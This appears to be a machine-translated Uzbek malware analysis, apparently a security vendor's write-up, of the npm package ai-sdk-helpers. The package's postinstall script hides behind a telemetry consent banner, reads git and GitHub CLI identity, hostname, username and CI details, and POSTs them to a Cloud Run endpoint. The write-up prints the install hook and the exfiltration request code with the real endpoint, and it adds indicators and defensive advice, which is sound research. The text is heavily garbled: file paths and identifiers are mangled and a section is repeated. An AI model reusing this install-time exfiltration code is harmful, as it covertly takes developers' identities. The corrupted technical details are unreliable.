ConsentMask npm paketini yashirish Ishlab chiquvchi identifikatorini yig'ish

ConsentMask: Dasturchi identifikatsiyasini yig'ish orqali telemetriya roziligi bannerini taqib yuradigan npm paketi

TP; DR

Bitta npm paketi, ai-sdk-yordamchilari, o'zini Vercel AI SDK uchun ishlab chiqarish vositalari to'plami sifatida taqdim etadi, xarajatlarni kuzatish, provayderning zaxira nusxasi va striming yordamchilarini taklif qiladi.

Uning o'rnatish vaqti skripti tasvirlangan sayqallangan oshkoralik banneri bilan ochiladi anonim diagnostika, hech qanday manba kodi, tokenlar yoki ishonch yorliqlari uzatilmasligini va'da qilib, a DO_NOT_TRACK rad etish va telemetriya siyosati sahifasiga havola.

Keyin xuddi shu skript ishlab chiquvchining git identifikatorini, GitHub CLI konfiguratsiyasini, mashina xost nomini, OS foydalanuvchi nomini, ishchi katalogini va CI provayderini o'qiydi.

Ushbu ma'lumotlar JSON sifatida Google Cloud Run so'nggi nuqtasiga POST qilinadi, bu esa ko'rsatilgan telemetriya siyosati va to'plangan haqiqiy maydonlar o'rtasida aniq nomuvofiqlikni keltirib chiqaradi.

Paket yigirma ikkita versiyada 83 soniya ichida nashr etildi va o'rnatish skripti har bir belgilangan versiyada baytma-bayt bir xil.

Bizning tomonidan ko'rib chiqilgan sakkizta versiyadan yettitasi pipeline rozilik bannerining uslubi qonuniy telemetriya kabi o'qilgani uchun ML klassifikatori tomonidan natijasiz deb topildi.

Biz tasniflaymiz ai-sdk-helpers o'rnatish vaqtida ishlab chiquvchi identifikatorini to'plash va chiqarib tashlash asosida zararli deb hisoblanadi.

Jiddiylik: yuqori.

 O'rnatish anatomiyasi

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

postinstall avtomatik ravishda ishlaydi npm o'rnatish, paketning reklama qilingan kodi import qilinishidan oldin. Skript skriptlar/postinstall.js o'rnatish vaqtidagi barcha xatti-harakatlar yashaydigan joy.

U maxfiylikka e'tibor qaratadigan ochiq kodli loyiha reestrida yozilgan izoh bloki va ish vaqti bildirishnomasi bilan ochiladi:

>Ai-sdk-helpers dasturini o'rnatganingizda, biz tezkor muhit mosligini tekshirishni amalga oshiramiz va anonim diagnostika haqida xabar beramiz... Ma'lumotlar to'liq anonim — biz sizning platformangizni, Node versiyasini va mashinangiz identifikatorining bir tomonlama xeshini to'playmiz. Hech qanday manba kodi, tokenlar yoki hisob ma'lumotlari hech qachon uzatilmaydi.

Hatto fayldagi birinchi bajariladigan kod bo'lgan ishlaydigan rad etish eshigini ham ulaydi:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

bu darvozani birinchi bo'lib bog'lash qolganlarini kelishuv asosida o'qishga majbur qiladi: o'rnatadigan ishlab chiquvchi `D_IZ YO'Q O'rnatish jimgina tugallanganini ko'radi va paket konventsiyaga rioya qilgan holda yakunlanadi. Hurmatli rad etish haqiqiydir. Uni o'rnatmagan har bir kishi uchun u quyida tasvirlangan to'plamni ochadi - bildirishnomada aytilgan torroq "platforma, Node versiyasi va bir tomonlama xesh" emas.

Ushbu darvoza ostida, skript ushbu tavsifdan ancha uzoqroqqa cho'zilgan foydali yukni yig'adi.

  • *Gt shaxsi.* rhal qilingScmIdentity()` boshlar `~.gitconfig`,`~.config/git/config`,va joriy loyihaning `.it/config`,`[ ni tahlil qiladiser]` bo'limni tanlang va sozlanganni qaytaradi commit elektron pochta. Agar konfiguratsiya fayli elektron pochta xabarini bermasa, u `G ga qaytadiT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,va EAIL` atrof-muhit o'zgaruvchilari. Funksiya ustidagi docstring o'qishni "bir xil shaxsga tegishli mashinalar (masalan, noutbuk + CI) bo'ylab o'rnatishlarni takrorlamaslik" usuli sifatida belgilaydi - bu har bir ishlab chiquvchi uchun barqaror identifikatorni talab qiladigan belgilangan maqsad, bu esa commit elektron pochta materiallari.
  • *GtHub hisobi.* rGitHubIdentity()` ni hal qilish boshlar `~.config/gh/hosts.yml` va `~.config/gh/hosts.yaml` Dasturchi autentifikatsiya qilganda va regex-uzatganda GitHub CLI tomonidan yozilgan konfiguratsiya fayli `uer:` va `ekasallik:` maydonlar. Ushbu fayl shuningdek, GitHub OAuth tokenini ham saqlaydi; skriptning regexi foydalanuvchi nomi va elektron pochta satrlarini aniq nishonga oladi va tokenni ajratib olmaydi. Shuning uchun oshkor qilish bannerining "hech qanday tokenlar uzatilmaydi... hech qachon uzatilmaydi" degan da'vosi atrofdagi hisob identifikatorlari o'qilgan va yuborilgan bir maydon uchun tom ma'noda to'g'ri keladi.
  • *Hst va CI barmoq izi.* keyin u skriptni to'playdi.hostname()`,`o.userInfo().foydalanuvchi nomi`,Node versiyasi, platformasi va arxitekturasi, `pocess.cwd()`,va sakkizta provayder uchun muhit o'zgaruvchilarini tekshirish orqali hal qilingan CI-provayder yorlig'i (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite va ikkita umumiy CI bayroqlari). Provayderlar ro'yxati skriptning qayerda bajarilishini kutayotgani inventarizatsiyasi sifatida o'qiladi - interaktiv qobiqlar va avtomatlashtirilgan tuzilish. pipelines o'xshash.

Bularning barchasi bitta "d" ga birlashtirilganagnostiklar ob'ekt, har bir ishlab chiquvchi uchun maydonlar `i ostida to'plangan holdashaxs ey va `r ostidagi xost ma'lumotlarivaqt va `cntext` ko'zlar, keyin seriyalashtiriladi va uzatiladi:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Javob bekor qilinadi va barcha xatolar yutib yuboriladi — sharhda "telemetriya hech qachon o'rnatishni buzmasligi kerak" deb ta'kidlangan. Oxirgi nuqta xost nomi Google Cloud Run xizmatini kodlaydirope-west1` mintaqa.

Gap shundaki, bo'shliq. Bannerda uchta toifadagi ma'lumotlar ko'rsatilgan — platforma, tugun versiyasi, mashina identifikatori xeshi. Foydali yuklama ishlab chiquvchining haqiqiy gitini yuboradi. commit elektron pochta, ularning GitHub foydalanuvchi nomi va elektron pochtasi, ularning mashina xost nomi va OS hisob nomi, ularning loyiha yo'li va ularning CI muhiti. *p ni aniqlaydigan maydonlarrson va ularning hisoblari* oshkor qilishda qoldirib ketilgan maydonlar aniq.

README boshqa tomondan kadrlashni kuchaytiradi. Uning "Telemetriya" bo'limi anonimlik da'vosini takrorlaydi va `D` so'zini bog'laydi._IZ YO'Q o `cnsoledonottrack.com`,rad etish to'g'risidagi konventsiyani hujjatlashtiruvchi haqiqiy hamjamiyat sahifasi — tan olingan maxfiylikni qarzga olish standard bildirishnomani odatiy holga keltirish uchun.

Timeline

Bu juda qisqa va juda zich nashr tarixiga ega bo'lgan bitta paketli topilma. Ko'p haftalik kampaniya yoyini kuzatib borishning iloji yo'q — butun versiyalar qatori mashina tezligida surildi.

Qachon (UTC) hodisa
2026-06-03 20:31:20 Birinchi versiya (0.1.0) npm ga nashr etilgan.
2026-06-03 20:31:20 – 20:32:43 Barcha 22 versiya (0.1.0 ichidan 1.4.2) 83 soniyali avtomatlashtirilgan portlashda nashr etilgan.
2026-06-04 Sakkizta versiya aniqlovchi signallar bilan belgilangan; qo'lda tahlil qilish o'rnatish vaqtida identifikatsiyani yig'ish va chiqarib tashlashni tasdiqlaydi. Tahlil paytida paket npm da faol bo'lib qoldi.

22 ta semantik versiyadagi 83 soniyali oynaning o'zi xulq-atvor ko'rsatkichidir: versiya narvoni (`01.0`,`01.1`,... `14.2`)faol ravishda qo'llab-quvvatlanadigan loyihaning bir martalik ishga tushirishda ishlab chiqarilgan chiqarilish tarixi bilan yuzasini taqdim etadi. O'rnatish skripti bu bosqichda o'zgarmaydi - quyida ko'rsatilgan.

Murosaga kelish ko'rsatkichlari

O'rnatish vaqtidagi yuklama nashr etilgan versiyalar oralig'ida bir xil. A `dff` f`sripts/postinstall.js` 0-versiya oralig'ida2.1` va 1-versiya4.2` hech qanday farq qaytarmaydi; xatti-harakatlar rivojlanayotgan yuk emas, balki bitta o'zgarmas barmoq izidir.

tarmoq

22 ta semantik versiyadagi 83 soniyali oynaning o'zi xulq-atvor ko'rsatkichidir: versiya narvoni (`01.0`,`01.1`,... `14.2`)faol ravishda qo'llab-quvvatlanadigan loyihaning bir martalik ishga tushirishda ishlab chiqarilgan chiqarilish tarixi bilan yuzasini taqdim etadi. O'rnatish skripti bu bosqichda o'zgarmaydi - quyida ko'rsatilgan.

Murosaga kelish ko'rsatkichlari

O'rnatish vaqtidagi yuklama nashr etilgan versiyalar oralig'ida bir xil. A `dff` f`sripts/postinstall.js` 0-versiya oralig'ida2.1` va 1-versiya4.2` hech qanday farq qaytarmaydi; xatti-harakatlar rivojlanayotgan yuk emas, balki bitta o'zgarmas barmoq izidir.

tarmoq

Ko'rsatkichlar roli
npm-package-logger-228835561205.europe-west1.run.app JSON yuklamalari bilan HTTPS POST so'rovlarini qabul qiluvchi eksfiltratsiya so'nggi nuqtasi. Google Cloud Run’da joylashtirilgan europe-west1 Mintaqa.

Aldash infratuzilmasi

Ko'rsatkichlar roli
ai-sdk.guide Paket bosh sahifasi va "AI SDK qo'llanmasi" mualliflik identifikatorini qo'llab-quvvatlaydigan jonli sayt.
ai-sdk.guide/telemetry Oʻrnatish vaqti haqida maʼlumotnomada koʻrsatilgan telemetriya siyosati URL manzili.
hello@ai-sdk.guide Muallifning elektron pochta manzili e'lon qilindi package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Paket tomonidan e'lon qilingan manba ombori.

O'rnatish vaqtida o'qilgan fayllar

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git`[ser]` pochta
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `ekasallik

Xulq-atvor imzolari

  • – m `pstinch` ook birlashtirilgan Node skriptini chaqirmoqda
  • – chiqish eshigi (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_QO'YILMAGAN_KUZATISH`)shaxsni aniqlashdan oldin maxfiylik xususiyati sifatida taqdim etiladi
  • – git elektron pochtasi, GitHub identifikatori, xost nomi, OS foydalanuvchi nomi, cwd va CI yorlig'ini o'z ichiga olgan JSON obyektining tbound HTTPS POST
  • – tez nashr etiladigan versiyalar pog'onasida bir xil o'rnatish skripti

 Atribut va kuzatilgan xatti-harakatlar
Biz paket va registr metama'lumotlari qayd etganidan boshqa hech narsaga ishora qilmaymiz.

npm yozuvini yurituvchi hisob `aielsimon`,manzil bilaniel@vigilance.security`.Registrda ushbu elektron pochta tasdiqlanmagan va hisobning manba nazorati identifikatori tasdiqlanmagan deb ko'rsatilgan.ckage.json`,alohida, muallifni “AI SDK qo'llanmasi” sifatida taqdim etadiello@ai-sdk.guide>`”bosh sahifasi bilan-sdk.guide` va `g` ostidagi manba omborithub.com/ai-sdk-guide tashkiloti. Nashriyot akkauntining elektron pochta domeni (`vigilance.security`)va paket ichidagi muallif identifikatori (`a-sdk.guide`)turli domenlar.

"A"-sdk.guide` element faol va javob beradi, va `/elementmetriya ath hal qiladi — aldov identifikatori o'lik havola o'rniga kirish mumkin bo'lgan veb-mavjudlik bilan qo'llab-quvvatlanadi, bu esa paketning ramka tuzilishining ishonchliligini oshiradi.

**Kuzatilgan imkoniyat.** O'rnatish vaqtida paket ishlab chiquvchi identifikatori va hisob konfiguratsiyasi fayllarini o'qiydi, xost va CI muhitini izlaydi va natijani operator tomonidan boshqariladigan oxirgi nuqtaga uzatadi, shu bilan birga torroq va anonimlashtirilgan ma'lumotlar to'plamini tavsiflovchi bildirishnomani ko'rsatadi. Biz bu xatti-harakatni tasvirlaymiz; biz buning sababini tasdiqlamaymiz. Paketni baholovchi o'quvchilar - shu jumladan nashriyot identifikatorini tan olgan har qanday tomon - ko'rsatilgan va haqiqiy ma'lumotlar oqimlari o'rtasidagi kuzatilishi mumkin bo'lgan nomuvofiqlikni baholashlari kerak.

Himoyachilar uchun ta'sir, tendentsiyalar va ko'rsatmalar

Kim fosh bo'ladi. O'rnatadigan har bir kishi ai-sdk-yordamchilari — to'g'ridan-to'g'ri yoki tranzitiv bog'liqlik sifatida — to'plamni o'sha mashinada ishga tushiradi. Chunki trigger postinstall, ma'lumotlar oqimi sodir bo'lishi uchun reklama qilingan kutubxona kodi hech qachon import qilinishi shart emas; o'rnatishning o'zi kifoya. Eng yuqori qiymatli muhitlar - bu konfiguratsiya qilingan git identifikatori va tasdiqlangan GitHub CLI ga ega ishlab chiquvchi ish stantsiyalari va CI yuguruvchilari, bu yerda skriptning CI-provayderini aniqlash to'plamning build ichida ishlashi kutilganligini ko'rsatadi. pipelineshuningdek, noutbuklarda ham.

Bu nimani ochib beradi. Umumiy holatda dastur sirlari emas - foydali yuk markazda tenglik: ishlab chiquvchining commit elektron pochta, ularning GitHub hisob nomi va elektron pochtasi, mashina va hisob nomlari hamda loyiha yo'li. Bu oldindancisPaketni kim, qaysi mashinaga, qaysi omborga va qaysi CI tizimi ostida o'rnatganligining elektron xaritasi. Tashkilot uchun bir nechta bunday yozuvlar qaysi muhandislar va qaysi tizimlarni yaratish bog'liqlikni tortib olganini sanab o'tadi - bu paketning o'z xatti-harakati yig'ish va uzatishda to'xtasa ham, maqsadli kuzatuv faoliyatining oldingi bosqichi sifatida foydalidir.

Trend: telemetriya qopqoq sifatida. Qonuniy ishlab chiquvchi vositalari anonim o'rnatish diagnostikasini va uni hurmat bilan bajarish uchun konventsiyalarni to'playdi - oshkor qilish to'g'risida bildirishnoma, a DO_NOT_TRACK sharaf, rad etish bayrog'i, siyosat URL manzili - hammaga ma'lum. ai-sdk-yordamchilari ushbu to'rtta konventsiyaning barchasini ishonchli tarzda takrorlaydi va ularni shaxsni aniqlash uchun o'rash sifatida ishlatadi. Rozilik banneri, ishdan bo'shatish yoki maxfiylik siyosati havolasining mavjudligi paket ishonchli ekanligidan dalolat bermaydi; bu boshqaruv elementlarini taqlid qilish arzon. Yagona ishonchli tekshirish - bu kod aslida nimani o'qishi va uni qayerga yuborishi.

Ushbu qadoqlash avtomatlashtirilgan triajga ham o'lchanadigan ta'sir ko'rsatadi. Bizning barcha versiyalarimizda pipeline ko'rib chiqilgandan so'ng, o'rnatish skriptining oddiy tildagi izohlari, tuzilgan maydon nomlari va an'anaviy rad etish eshigi oddiy telemetriya sifatida baholandi: sakkiztadan yettitasi qaytib keldi noaniq zararli emas, balki ML klassifikatoridan. Noaniqlikni hal qiluvchi signal nasrda emas - bu skript ochadigan aniq fayllarda (~/.gitconfig, ~/.config/gh/hosts.yml) va u yuboradigan manzil. Oshkor qilishni o'qib, u yerda to'xtagan sharhlovchi, avtomatlashtirilgan yoki insoniy, noto'g'ri xulosaga keladi; qaror ma'lumotlar oqimi faktlaridan kelib chiqishi kerak.

Himoyachilar uchun ko'rsatma:

  • Skriptlar sukut bo'yicha o'chirilgan holda o'rnatish — npm o'rnatish –ignore-skriptlari, yoki o'rnating ignore-scripts=true in .npmrc va tekshirilgan qurilish bosqichlarini aniq bajaradi. Bu neytrallashtiradi postinstall- kengash bo'ylab yig'ishni tetiklashtirdi.
  • Rad etishni boshqarish vositalarini ishonch signallari sifatida qabul qilmang. A DO_NOT_TRACK tekshirish yoki "telemetriya siyosati" havolasi sizga darvoza o'rnatilmaganida skript to'playdigan ma'lumotlar haqida hech narsa aytmaydi.
  • AI-ekotizim yordamchi paketlarini qabul qilishdan oldin o'rnatish bo'yicha ko'rsatmalarni o'qing. Vercel AI SDK maydoni tez rivojlanayotgan, yuqori ishonchli nishondir; postinstall tegib turadigan ~/.gitconfig or ~/.config/gh/ atrofdagi izohlar qanday yozilganidan qat'i nazar, aniq signaldir.
  • Qurilish vaqtidagi chiqishni kuzatib boring. Chiquvchi HTTPS POST npm o'rnatish, ayniqsa yangi ta'minlangan bulut funksiyasining so'nggi nuqtasi uchun, tarmoq sathida kuzatilishi mumkin va CI muhitlari uchun kuchli aniqlash nuqtasi hisoblanadi.
  • Siqilgan versiya narvonlariga e'tibor bering. Bir necha soniya ichida butun semantik versiya tarixi o'zgarmas o'rnatish skripti bilan paydo bo'ladigan paket ishlab chiqarilgan texnik xizmat ko'rsatish tarixini taqdim etmoqda.
sca-vositalari-dasturiy ta'minot-kompozitsiya-tahlil-vositalari
Dasturiy ta'minot xavflaringizni ustuvorlashtiring, bartaraf eting va himoya qiling
Bepul hisobingizni oling.
Kredit karta talab qilinmaydi.

Dasturiy ta'minotingizni ishlab chiqish va yetkazib berishni ta'minlang

Xygeni mahsulot to'plami bilan